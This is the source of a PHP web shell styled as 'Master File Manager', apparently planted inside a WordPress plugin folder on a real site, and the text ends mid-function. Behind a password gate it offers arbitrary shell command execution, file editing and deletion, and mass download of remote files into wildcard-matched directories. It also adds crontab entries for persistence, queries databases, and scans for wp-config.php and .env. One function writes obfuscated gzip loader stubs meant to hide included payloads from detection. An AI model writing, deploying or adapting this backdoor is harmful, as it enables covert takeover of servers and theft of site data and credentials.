File: /var/www/vhosts/plasmak.com.tr/httpdocs/wp-content/plugins/neoncore-themes/O/mas2.php
<?php
/**
* Master File Manager v4.0 - Complete Edition
* Menggabungkan Secure Auth Gate login dengan semua fitur dari JS Version
* Fixed: Mass Upload result display
*/
ob_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);
// ===== SESSION CONFIG =====
ini_set('session.gc_maxlifetime', 7200);
ini_set('session.cookie_lifetime', 7200);
session_start();
session_regenerate_id(true);
define('MASTER_VERSION', '4.0.0');
define('MASTER_AUTHOR', 'id69');
// ===== AUTHENTICATION (Seperti Secure Auth Gate) =====
// Ganti hash ini dengan hash bcrypt password Anda
$auth_hash = '$2a$12$9i9Zb9USpwIavav08vmfkeuKHry97qNuJ/GTSouK33iCSQcD7dG72'; // default: "password"
$cookie_name = 'master_auth';
$cookie_days = 30;
$cookie_token = hash_hmac('sha256', 'master_auth_v1', $auth_hash);
// Cek auth via session atau cookie
function is_authed() {
global $cookie_token, $cookie_name;
if (!empty($_SESSION['master_auth'])) return true;
if (!empty($_COOKIE[$cookie_name]) && hash_equals($cookie_token, $_COOKIE[$cookie_name])) {
$_SESSION['master_auth'] = true;
return true;
}
return false;
}
// Logout via GET
if (isset($_GET['logout'])) {
$_SESSION = [];
session_destroy();
$clean_url = strtok($_SERVER['PHP_SELF'], '?');
echo '<script>document.cookie="'.$cookie_name.'=;expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/";window.location.replace('.json_encode($clean_url).');</script>';
exit;
}
// Proses login via AJAX
if (isset($_POST['password']) && password_verify($_POST['password'], $auth_hash)) {
$_SESSION['master_auth'] = true;
session_write_close();
$expire = time() + ($cookie_days * 86400);
if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
header('Content-Type: application/json');
echo json_encode([
'status' => 'success',
'redirect' => strtok($_SERVER['PHP_SELF'], '?'),
'cookie_name' => $cookie_name,
'cookie_token' => urlencode($cookie_token),
'cookie_expire' => $expire
]);
exit;
} else {
echo '<script>
var expire = new Date(' . $expire . ' * 1000).toUTCString();
document.cookie = "' . $cookie_name . '=' . urlencode($cookie_token) . ';expires=" + expire + ";path=/;samesite=Lax";
window.location.replace(' . json_encode(strtok($_SERVER['PHP_SELF'], '?')) . ');
</script>';
exit;
}
}
// Jika belum login, tampilkan form login
if (!is_authed()) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Master File Manager - Secure Access</title>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
<style>
:root {
--bg:#050505;
--bg-gradient:radial-gradient(1200px 600px at 50% -20%,#1a1a2e 0%,transparent 60%),
radial-gradient(800px 400px at 100% 100%,#0f0f1a 0%,transparent 70%);
--card-bg:rgba(20,20,28,0.6);
--card-border:rgba(80,80,100,0.15);
--card-glow:rgba(59,130,246,0.08);
--text:#e6e6f0; --text-dim:#78788c;
--accent:#10b981; --accent-hover:#34d399;
--error:#f87171;
--input-bg:rgba(10,10,18,0.8);
--input-border:rgba(100,100,120,0.2);
--input-focus:rgba(16,185,129,0.4);
--transition:all 0.25s cubic-bezier(0.4,0,0.2,1);
}
*{margin:0;padding:0;box-sizing:border-box}
body{
font-family:'JetBrains Mono',monospace;
background:var(--bg);background-image:var(--bg-gradient);
color:var(--text);min-height:100vh;
display:flex;align-items:center;justify-content:center;
padding:20px;-webkit-font-smoothing:antialiased;
}
body::before{
content:"";position:fixed;inset:0;
background-image:
radial-gradient(1px 1px at 20px 30px,rgba(100,100,140,0.1) 50%,transparent 52%),
radial-gradient(1px 1px at 80px 60px,rgba(100,100,140,0.08) 50%,transparent 52%),
radial-gradient(1px 1px at 140px 100px,rgba(100,100,140,0.12) 50%,transparent 52%);
background-size:200px 150px;animation:drift 80s linear infinite;
pointer-events:none;z-index:0;
}
@keyframes drift{0%{transform:translateY(0)}100%{transform:translateY(-200px)}}
.auth-container{position:relative;z-index:1;width:100%;max-width:420px}
.auth-card{
background:var(--card-bg);border:1px solid var(--card-border);
border-radius:20px;padding:36px 32px;
backdrop-filter:blur(12px);-webkit-backdrop-filter:blur(12px);
box-shadow:0 0 0 1px var(--card-border),0 20px 40px -10px rgba(0,0,0,0.6),0 0 60px -10px var(--card-glow);
}
.brand{display:flex;align-items:center;gap:12px;margin-bottom:28px;padding-bottom:20px;border-bottom:1px solid var(--card-border)}
.brand-icon{
width:36px;height:36px;border-radius:10px;
background:linear-gradient(135deg,var(--accent),#059669);
display:flex;align-items:center;justify-content:center;
font-weight:600;font-size:16px;color:white;
box-shadow:0 4px 14px -2px rgba(16,185,129,0.4);flex-shrink:0;
}
.brand-text h1{font-size:18px;font-weight:600;letter-spacing:-0.02em}
.brand-text p{font-size:12px;color:var(--text-dim);margin-top:2px}
.form-group{margin-bottom:24px}
.form-label{display:block;font-size:12px;font-weight:500;color:var(--text-dim);margin-bottom:10px;text-transform:uppercase;letter-spacing:0.08em}
.auth-input{
width:100%;padding:14px 18px;
background:var(--input-bg);border:1px solid var(--input-border);
border-radius:12px;color:var(--text);font-family:inherit;
font-size:14px;outline:none;transition:var(--transition);
}
.auth-input::placeholder{color:var(--text-dim);opacity:0.7}
.auth-input:focus{border-color:var(--accent);box-shadow:0 0 0 4px var(--input-focus)}
.auth-input.error{border-color:var(--error);animation:shake 0.4s ease}
@keyframes shake{0%,100%{transform:translateX(0)}25%{transform:translateX(-4px)}75%{transform:translateX(4px)}}
.submit-btn{
width:100%;padding:14px;
background:linear-gradient(135deg,var(--accent),#059669);
color:white;border:none;border-radius:12px;font-family:inherit;
font-size:14px;font-weight:500;cursor:pointer;transition:var(--transition);
}
.submit-btn:hover{transform:translateY(-1px);box-shadow:0 8px 24px -6px rgba(16,185,129,0.5);background:linear-gradient(135deg,var(--accent-hover),#10b981)}
.submit-btn:active{transform:translateY(0)}
.submit-btn:disabled{opacity:0.6;cursor:not-allowed;transform:none}
.error-msg{
display:flex;align-items:center;gap:8px;padding:12px 16px;
background:rgba(248,113,113,0.08);border:1px solid rgba(248,113,113,0.2);
border-radius:10px;color:var(--error);font-size:13px;margin-top:16px;
animation:slideIn 0.2s ease;
}
@keyframes slideIn{from{opacity:0;transform:translateY(-6px)}to{opacity:1;transform:translateY(0)}}
.footer{text-align:center;margin-top:24px;font-size:12px;color:var(--text-dim)}
.loading{display:none;text-align:center;margin-top:16px}
.spinner{display:inline-block;width:20px;height:20px;border:2px solid var(--accent);border-radius:50%;border-top-color:transparent;animation:spin 1s linear infinite;vertical-align:middle;margin-right:8px}
@keyframes spin{to{transform:rotate(360deg)}}
@media(max-width:480px){.auth-card{padding:28px 20px;border-radius:18px}}
</style>
</head>
<body>
<div class="auth-container">
<div class="auth-card">
<div class="brand">
<div class="brand-icon">๐ง</div>
<div class="brand-text">
<h1>Master File Manager</h1>
<p>Secure Authentication Required</p>
</div>
</div>
<form id="authForm">
<div class="form-group">
<label class="form-label" for="access_key">Access Key</label>
<input
type="password"
name="password"
id="access_key"
class="auth-input"
placeholder="Enter your secure key"
required
autocomplete="current-password"
autofocus
>
</div>
<button type="submit" class="submit-btn" id="submitBtn">Authenticate</button>
<div id="errorMsg" class="error-msg" style="display:none">
<span>โ ๏ธ</span><span id="errorText"></span>
</div>
<div id="loginLoading" class="loading">
<div class="spinner"></div> Verifying...
</div>
</form>
<div class="footer">Protected by bcrypt ยท Cookie ยท Session Lock</div>
</div>
</div>
<script>
document.getElementById('authForm').addEventListener('submit', function(e) {
e.preventDefault();
var password = document.getElementById('access_key').value;
if (!password) return;
var btn = document.getElementById('submitBtn');
var loading = document.getElementById('loginLoading');
var errorDiv = document.getElementById('errorMsg');
var errorText = document.getElementById('errorText');
btn.disabled = true;
loading.style.display = 'block';
errorDiv.style.display = 'none';
var formData = new FormData();
formData.append('password', password);
var xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onload = function() {
btn.disabled = false;
loading.style.display = 'none';
if (xhr.status === 200) {
try {
var response = JSON.parse(xhr.responseText);
if (response.status === 'success') {
var expire = new Date(response.cookie_expire * 1000).toUTCString();
document.cookie = response.cookie_name + "=" + response.cookie_token +
";expires=" + expire + ";path=/;samesite=Lax";
window.location.replace(response.redirect);
} else {
errorText.innerText = response.message || 'Access key tidak valid.';
errorDiv.style.display = 'flex';
document.getElementById('access_key').classList.add('error');
}
} catch(e) {
errorText.innerText = 'Login failed. Please try again.';
errorDiv.style.display = 'flex';
document.getElementById('access_key').classList.add('error');
}
} else {
errorText.innerText = 'Network error. Please try again.';
errorDiv.style.display = 'flex';
document.getElementById('access_key').classList.add('error');
}
};
xhr.onerror = function() {
btn.disabled = false;
loading.style.display = 'none';
errorText.innerText = 'Network error. Please try again.';
errorDiv.style.display = 'flex';
document.getElementById('access_key').classList.add('error');
};
xhr.send(formData);
});
document.getElementById('access_key').addEventListener('input', function() {
this.classList.remove('error');
document.getElementById('errorMsg').style.display = 'none';
});
</script>
</body>
</html>
<?php
exit;
}
// ===== TMP DIRECTORY =====
$tmp_dir = '/tmp/master_' . session_id() . '/';
if (!is_dir($tmp_dir)) mkdir($tmp_dir, 0755, true);
// ===== FUNCTIONS =====
function formatBytes($bytes, $precision = 2) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, $precision) . ' ' . $units[$pow];
}
function deleteRecursive($path) {
if (is_file($path)) return unlink($path);
$files = array_diff(scandir($path), ['.', '..']);
foreach ($files as $file) deleteRecursive($path . '/' . $file);
return rmdir($path);
}
function sortItems($items, $cwd) {
$dirs = [];
$files = [];
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
if (is_dir($cwd . '/' . $item)) {
$dirs[] = $item;
} else {
$files[] = $item;
}
}
sort($dirs);
sort($files);
return array_merge($dirs, $files);
}
function createZip($items, $zip_name, $cwd) {
$zip = new ZipArchive();
$zip_path = $cwd . '/' . $zip_name;
if ($zip->open($zip_path, ZipArchive::CREATE) !== TRUE) return false;
foreach ($items as $item) {
$full = $cwd . '/' . $item;
if (is_dir($full)) {
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full), RecursiveIteratorIterator::LEAVES_ONLY);
foreach ($files as $file) {
if (!$file->isDir()) {
$relative = substr($file->getPathname(), strlen($cwd) + 1);
$zip->addFile($file->getPathname(), $relative);
}
}
} else {
$zip->addFile($full, $item);
}
}
$zip->close();
return true;
}
function extractZip($zip_file, $extract_to) {
$zip = new ZipArchive();
if ($zip->open($zip_file) === TRUE) {
$zip->extractTo($extract_to);
$zip->close();
return true;
}
return false;
}
function generateGzipLoader($target_file) {
$target = basename($target_file, '.gz');
$loaders = [
'<?php
$gh = ["comp", "ress.zl", "ib:/", "/' . $target . '.g", "z"];
include implode("", $gh);',
'<?php
$gh = ["comp", "ress", ".zl", "ib:", "/", "' . $target . '", ".gz"];
include implode("", $gh);',
'<?php
$gh = ["z", "' . $target . '.g", "/", "ib:/", "ress.zl", "comp"];
include implode("", array_reverse($gh));',
'<?php
$gh = sprintf("%s%s%s%s%s", "comp", "ress.zl", "ib:/", "/' . $target . '.g", "z");
include $gh;'
];
return $loaders[array_rand($loaders)];
}
function commandExec($cmd) {
$output = '';
if (function_exists('exec')) {
exec($cmd . ' 2>&1', $out);
$output = implode("\n", $out);
} elseif (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
} else {
$output = "Command execution disabled";
}
return $output;
}
function copyFileToTarget($source, $target_dir, $depth = 0) {
$source = realpath($source);
if (!$source || !file_exists($source)) {
return ['status' => 'error', 'source' => $source, 'message' => 'File tidak ditemukan'];
}
if (is_dir($source)) {
return ['status' => 'error', 'source' => $source, 'message' => 'Adalah folder'];
}
if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
if ($depth == 1) {
$parent = basename(dirname($source));
$target_path = $target_dir . '/' . $parent . '/' . basename($source);
if (!is_dir($target_dir . '/' . $parent)) mkdir($target_dir . '/' . $parent, 0755, true);
} else {
$target_path = $target_dir . '/' . basename($source);
}
if (file_exists($target_path)) {
$pathinfo = pathinfo($target_path);
$counter = 1;
while (file_exists($pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'])) $counter++;
$target_path = $pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'];
}
if (copy($source, $target_path)) {
return ['status' => 'success', 'source' => $source, 'target' => $target_path];
} else {
return ['status' => 'error', 'source' => $source, 'message' => 'Gagal copy'];
}
}
function downloadFromUrl($url, $target_dir, $custom_name = '', $depth = 0) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode != 200 || !$content) {
return ['status' => 'error', 'source' => $url, 'message' => "HTTP $httpCode"];
}
if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
$filename = !empty($custom_name) ? $custom_name : (basename(parse_url($url, PHP_URL_PATH)) ?: 'downloaded.bin');
if ($depth == 1 && strpos($filename, '/') !== false) {
$parts = explode('/', $filename);
$filename = array_pop($parts);
$subdir = implode('/', $parts);
$target_path = $target_dir . '/' . $subdir . '/' . $filename;
if (!is_dir($target_dir . '/' . $subdir)) mkdir($target_dir . '/' . $subdir, 0755, true);
} else {
$target_path = $target_dir . '/' . $filename;
}
if (file_exists($target_path)) {
$pathinfo = pathinfo($target_path);
$counter = 1;
while (file_exists($pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'])) $counter++;
$target_path = $pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'];
}
if (file_put_contents($target_path, $content)) {
return ['status' => 'success', 'source' => $url, 'target' => $target_path];
} else {
return ['status' => 'error', 'source' => $url, 'message' => 'Gagal simpan'];
}
}
// ===== AJAX Handler untuk semua action =====
if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
header('Content-Type: application/json');
$ajax_action = $_POST['ajax_action'] ?? $_GET['ajax_action'] ?? '';
// File Manager Actions
if ($ajax_action == 'list_files') {
$path = $_POST['path'] ?? getcwd();
$cwd = realpath($path);
if (!$cwd || !is_dir($cwd)) $cwd = getcwd();
$search = $_POST['search'] ?? '';
$items = scandir($cwd);
$filtered = [];
foreach ($items as $item) {
if ($item == '.') continue;
if ($item == '..' && $cwd == '/') continue;
if (empty($search) || stripos($item, $search) !== false) {
$filtered[] = $item;
}
}
$sorted = sortItems($filtered, $cwd);
$files = [];
foreach ($sorted as $item) {
$full = $cwd . '/' . $item;
$isDir = is_dir($full);
$perms = substr(sprintf('%o', fileperms($full)), -4);
$modified = date("Y-m-d H:i:s", filemtime($full));
$size = $isDir ? 0 : filesize($full);
$owner = fileowner($full);
$group = filegroup($full);
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner_name = posix_getpwuid($owner)['name'] ?? $owner;
$group_name = posix_getgrgid($group)['name'] ?? $group;
} else {
$owner_name = $owner;
$group_name = $group;
}
$files[] = [
'name' => $item,
'is_dir' => $isDir,
'perms' => $perms,
'size' => $size,
'size_formatted' => $isDir ? '--' : formatBytes($size),
'modified' => $modified,
'owner_group' => $owner_name . ':' . $group_name,
'path' => $full
];
}
echo json_encode([
'status' => 'success',
'cwd' => $cwd,
'parent' => dirname($cwd),
'files' => $files
]);
exit;
}
if ($ajax_action == 'create_file') {
$cwd = $_POST['cwd'];
$filename = $_POST['filename'];
$full = $cwd . '/' . $filename;
if (!file_exists($full)) {
file_put_contents($full, '');
echo json_encode(['status' => 'success', 'message' => "File $filename created"]);
} else {
echo json_encode(['status' => 'error', 'message' => "File already exists"]);
}
exit;
}
if ($ajax_action == 'create_folder') {
$cwd = $_POST['cwd'];
$foldername = $_POST['foldername'];
$full = $cwd . '/' . $foldername;
if (!file_exists($full)) {
mkdir($full);
echo json_encode(['status' => 'success', 'message' => "Folder $foldername created"]);
} else {
echo json_encode(['status' => 'error', 'message' => "Folder already exists"]);
}
exit;
}
if ($ajax_action == 'delete_item') {
$cwd = $_POST['cwd'];
$item = $_POST['item'];
$full = $cwd . '/' . $item;
if (file_exists($full)) {
deleteRecursive($full);
echo json_encode(['status' => 'success', 'message' => "Deleted $item"]);
} else {
echo json_encode(['status' => 'error', 'message' => "Not found"]);
}
exit;
}
if ($ajax_action == 'rename_item') {
$cwd = $_POST['cwd'];
$old = $_POST['old'];
$new = $_POST['new'];
$full_old = $cwd . '/' . $old;
$full_new = $cwd . '/' . $new;
if (file_exists($full_old) && !file_exists($full_new)) {
rename($full_old, $full_new);
echo json_encode(['status' => 'success', 'message' => "Renamed $old -> $new"]);
} else {
echo json_encode(['status' => 'error', 'message' => "Rename failed"]);
}
exit;
}
if ($ajax_action == 'chmod_item') {
$full = $_POST['file'];
$perms = intval($_POST['perms'], 8);
if (chmod($full, $perms)) {
echo json_encode(['status' => 'success', 'message' => "Chmod " . substr(sprintf('%o', fileperms($full)), -4)]);
} else {
echo json_encode(['status' => 'error', 'message' => "Chmod failed"]);
}
exit;
}
if ($ajax_action == 'get_file_content') {
$file = $_POST['file'];
if (file_exists($file) && is_file($file) && is_readable($file)) {
echo json_encode(['status' => 'success', 'content' => file_get_contents($file)]);
} else {
echo json_encode(['status' => 'error', 'message' => 'Cannot read file']);
}
exit;
}
if ($ajax_action == 'save_file_content') {
$file = $_POST['file'];
$content = $_POST['content'];
if (file_put_contents($file, $content)) {
echo json_encode(['status' => 'success', 'message' => 'File saved']);
} else {
echo json_encode(['status' => 'error', 'message' => 'Cannot save file']);
}
exit;
}
if ($ajax_action == 'upload_file') {
$cwd = $_POST['cwd'];
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$target = $cwd . '/' . $_FILES['file']['name'];
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
echo json_encode(['status' => 'success', 'message' => 'File uploaded', 'filename' => $_FILES['file']['name']]);
} else {
echo json_encode(['status' => 'error', 'message' => 'Upload failed']);
}
} else {
echo json_encode(['status' => 'error', 'message' => 'No file or upload error']);
}
exit;
}
// Create ZIP
if ($ajax_action == 'create_zip') {
$cwd = $_POST['cwd'];
$zip_name = $_POST['zip_name'];
$items = json_decode($_POST['items'], true);
if (empty($zip_name)) $zip_name = 'archive_' . date('Ymd_His') . '.zip';
if (!str_ends_with($zip_name, '.zip')) $zip_name .= '.zip';
if (createZip($items, $zip_name, $cwd)) {
echo json_encode(['status' => 'success', 'message' => 'ZIP created', 'zip_file' => $zip_name]);
} else {
echo json_encode(['status' => 'error', 'message' => 'Failed to create ZIP']);
}
exit;
}
// Extract ZIP
if ($ajax_action == 'extract_zip') {
$zip_file = $_POST['zip_file'];
$extract_to = $_POST['extract_to'];
if (!file_exists($zip_file)) {
echo json_encode(['status' => 'error', 'message' => 'ZIP file not found']);
exit;
}
$zip_check = new ZipArchive();
$need_folder = true;
if ($zip_check->open($zip_file) === TRUE) {
$root_items = [];
$has_root_file = false;
for ($i = 0; $i < $zip_check->numFiles; $i++) {
$name = $zip_check->getNameIndex($i);
if (strpos($name, '__MACOSX/') === 0) continue;
$parts = explode('/', $name);
$first_item = $parts[0];
if (!in_array($first_item, $root_items)) $root_items[] = $first_item;
if (count($parts) == 1 && substr($name, -1) != '/') $has_root_file = true;
}
$single_folder_only = (count($root_items) == 1 && !$has_root_file);
$need_folder = !$single_folder_only;
$zip_check->close();
}
if ($need_folder) {
$extract_target = $extract_to . '/' . pathinfo($zip_file, PATHINFO_FILENAME);
} else {
$extract_target = $extract_to;
}
if (!is_dir($extract_target)) mkdir($extract_target, 0755, true);
if (extractZip($zip_file, $extract_target)) {
echo json_encode(['status' => 'success', 'message' => 'Extracted', 'target' => $extract_target]);
} else {
echo json_encode(['status' => 'error', 'message' => 'Extraction failed']);
}
exit;
}
// Mass Uploader
if ($ajax_action == 'mass_upload') {
$action = $_POST['mass_action'];
$target_dir = $_POST['target_dir'];
$depth = intval($_POST['depth']);
$results = [];
$success = 0;
$failed = 0;
$target_folders = [];
if (strpos($target_dir, '*') !== false) {
$target_folders = glob($target_dir);
} else {
$target_folders = [$target_dir];
if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
}
if ($action == 'copy') {
$file_list = explode("\n", trim($_POST['file_list']));
foreach ($file_list as $item) {
$item = trim($item);
if (empty($item)) continue;
if (strpos($item, '*') !== false) {
$source_files = glob($item);
foreach ($source_files as $source_file) {
foreach ($target_folders as $folder) {
$result = copyFileToTarget($source_file, $folder, $depth);
if ($result['status'] == 'success') $success++; else $failed++;
$results[] = $result;
}
}
} else {
foreach ($target_folders as $folder) {
$result = copyFileToTarget($item, $folder, $depth);
if ($result['status'] == 'success') $success++; else $failed++;
$results[] = $result;
}
}
}
} elseif ($action == 'url') {
$url_list = explode("\n", trim($_POST['url_list']));
foreach ($url_list as $line) {
$line = trim($line);
if (empty($line)) continue;
$parts = explode('|', $line);
$url = trim($parts[0]);
$custom_name = isset($parts[1]) ? trim($parts[1]) : '';
if (filter_var($url, FILTER_VALIDATE_URL)) {
foreach ($target_folders as $folder) {
$result = downloadFromUrl($url, $folder, $custom_name, $depth);
if ($result['status'] == 'success') $success++; else $failed++;
$results[] = $result;
}
} else {
$failed++;
$results[] = ['status' => 'error', 'source' => $url, 'message' => 'URL tidak valid'];
}
}
}
echo json_encode(['success' => $success, 'failed' => $failed, 'total' => $success + $failed, 'results' => $results]);
exit;
}
// Gzip Maker
if ($ajax_action == 'make_gzip') {
$source = $_POST['source'];
$gzip_name = $_POST['gzip_name'];
$use_loader = $_POST['use_loader'];
$loader_name = $_POST['loader_name'];
$content = '';
if (filter_var($source, FILTER_VALIDATE_URL)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $source);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$content = curl_exec($ch);
curl_close($ch);
} elseif (file_exists($source)) {
$content = file_get_contents($source);
}
if (empty($content)) {
echo json_encode(['status' => 'error', 'message' => 'Source tidak valid']);
exit;
}
if (empty($gzip_name)) $gzip_name = 'gzip_' . date('Ymd_His') . '.gz';
if (!str_ends_with($gzip_name, '.gz')) $gzip_name .= '.gz';
$gzip_path = getcwd() . '/' . $gzip_name;
$fp = gzopen($gzip_path, 'w9');
gzwrite($fp, $content);
gzclose($fp);
$result = ['status' => 'success', 'gzip_file' => $gzip_name, 'size' => formatBytes(filesize($gzip_path))];
if ($use_loader == 'y') {
if (empty($loader_name)) $loader_name = 'loader_' . date('Ymd_His') . '.php';
if (!str_ends_with($loader_name, '.php')) $loader_name .= '.php';
$loader_content = generateGzipLoader($gzip_name);
file_put_contents($loader_name, $loader_content);
$result['loader_file'] = $loader_name;
$result['loader_content'] = $loader_content;
}
echo json_encode($result);
exit;
}
// Raw URL Upload
if ($ajax_action == 'raw_upload') {
$url = $_POST['raw_url'];
$filename = $_POST['filename'];
$save_path = $_POST['save_path'];
$rewrite_mode = $_POST['rewrite_mode'];
if (!filter_var($url, FILTER_VALIDATE_URL)) {
echo json_encode(['status' => 'error', 'message' => 'Invalid URL']);
exit;
}
if (!is_dir($save_path)) mkdir($save_path, 0755, true);
$target_file = $save_path . '/' . ($filename ?: basename(parse_url($url, PHP_URL_PATH)));
if (file_exists($target_file)) {
if ($rewrite_mode == 'skip') {
echo json_encode(['status' => 'error', 'message' => 'File already exists (skipped)']);
exit;
} elseif ($rewrite_mode == 'backup') {
$backup = $target_file . '.backup_' . date('Ymd_His');
copy($target_file, $backup);
}
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200 && $content && file_put_contents($target_file, $content)) {
echo json_encode(['status' => 'success', 'message' => 'Downloaded', 'file' => $target_file, 'size' => formatBytes(strlen($content))]);
} else {
echo json_encode(['status' => 'error', 'message' => "Download failed (HTTP $httpCode)"]);
}
exit;
}
// Command Execution
if ($ajax_action == 'execute_cmd') {
$cmd = $_POST['cmd'];
$output = commandExec($cmd);
echo json_encode(['status' => 'success', 'output' => $output]);
exit;
}
// Cron Manager
if ($ajax_action == 'cron_list') {
$output = commandExec('crontab -l 2>&1');
echo json_encode(['status' => 'success', 'output' => $output]);
exit;
}
if ($ajax_action == 'cron_add') {
$schedule = $_POST['schedule'];
$command = $_POST['command'];
$cmd = '(crontab -l 2>/dev/null; echo "' . $schedule . ' ' . $command . '") | crontab - 2>&1';
$output = commandExec($cmd);
echo json_encode(['status' => 'success', 'output' => $output]);
exit;
}
if ($ajax_action == 'cron_delete') {
$line = intval($_POST['line']);
$cmd = 'crontab -l 2>/dev/null | sed "' . ($line + 1) . 'd" | crontab - 2>&1';
$output = commandExec($cmd);
echo json_encode(['status' => 'success', 'output' => $output]);
exit;
}
// Database Manager
if ($ajax_action == 'db_connect') {
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$name = $_POST['name'];
$port = $_POST['port'];
try {
$dsn = "mysql:host=$host;port=$port;charset=utf8";
if (!empty($name)) $dsn .= ";dbname=$name";
$pdo = new PDO($dsn, $user, $pass);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $pdo->query("SHOW DATABASES");
$databases = $stmt->fetchAll(PDO::FETCH_COLUMN);
$tables = [];
if (!empty($name)) {
$stmt = $pdo->query("SHOW TABLES");
$tables = $stmt->fetchAll(PDO::FETCH_COLUMN);
}
echo json_encode(['status' => 'success', 'databases' => $databases, 'tables' => $tables, 'database' => $name]);
} catch (Exception $e) {
echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
}
exit;
}
if ($ajax_action == 'db_query') {
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$name = $_POST['name'];
$query = $_POST['query'];
try {
$pdo = new PDO("mysql:host=$host;dbname=$name;charset=utf8", $user, $pass);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $pdo->query($query);
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
echo json_encode(['status' => 'success', 'results' => $results]);
} catch (Exception $e) {
echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
}
exit;
}
if ($ajax_action == 'db_browse_table') {
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$name = $_POST['name'];
$table = $_POST['table'];
try {
$pdo = new PDO("mysql:host=$host;dbname=$name;charset=utf8", $user, $pass);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// Get columns
$stmt = $pdo->query("DESCRIBE `$table`");
$columns = $stmt->fetchAll(PDO::FETCH_COLUMN);
// Get data
$stmt = $pdo->query("SELECT * FROM `$table` LIMIT 100");
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
echo json_encode(['status' => 'success', 'columns' => $columns, 'rows' => $rows]);
} catch (Exception $e) {
echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
}
exit;
}
// Security Scan
if ($ajax_action == 'security_scan') {
$info = [];
// Check sensitive files
$sensitive_files = ['.htaccess', 'wp-config.php', 'config.php', '.env', 'php.ini', 'phpinfo.php'];
foreach ($sensitive_files as $file) {
if (file_exists($file)) {
$perms = substr(sprintf('%o', fileperms($file)), -4);
$info[] = "โ ๏ธ Sensitive file found: $file (perms: $perms)";
}
}
// Check writable directories
$writable_dirs = [];
$check_dirs = ['.', 'wp-content', 'tmp', 'uploads'];
foreach ($check_dirs as $dir) {
if (is_dir($dir) && is_writable($dir)) {
$writable_dirs[] = $dir;
}
}
if (!empty($writable_dirs)) {
$info[] = "๐ Writable directories: " . implode(', ', $writable_dirs);
}
// Check disabled functions
$disabled = ini_get('disable_functions');
$info[] = "๐ Disabled functions: " . ($disabled ?: 'None');
// Check open_basedir
$basedir = ini_get('open_basedir');
$info[] = "๐ open_basedir: " . ($basedir ?: 'Not set');
// Check allow_url_fopen
$allow_url = ini_get('allow_url_fopen');
$info[] = "๐ allow_url_fopen: " . ($allow_url ? 'ON' : 'OFF');
echo json_encode(['status' => 'success', 'info' => $info]);
exit;
}
// Network Tools
if ($ajax_action == 'network_ping') {
$host = $_POST['host'];
$output = commandExec("ping -c 4 " . escapeshellarg($host) . " 2>&1");
echo json_encode(['status' => 'success', 'output' => $output]);
exit;
}
if ($ajax_action == 'network_curl') {
$url = $_POST['url'];
$output = commandExec("curl -I " . escapeshellarg($url) . " 2>&1");
echo json_encode(['status' => 'success', 'output' => $output]);
exit;
}
if ($ajax_action == 'network_nslookup') {
$domain = $_POST['domain'];
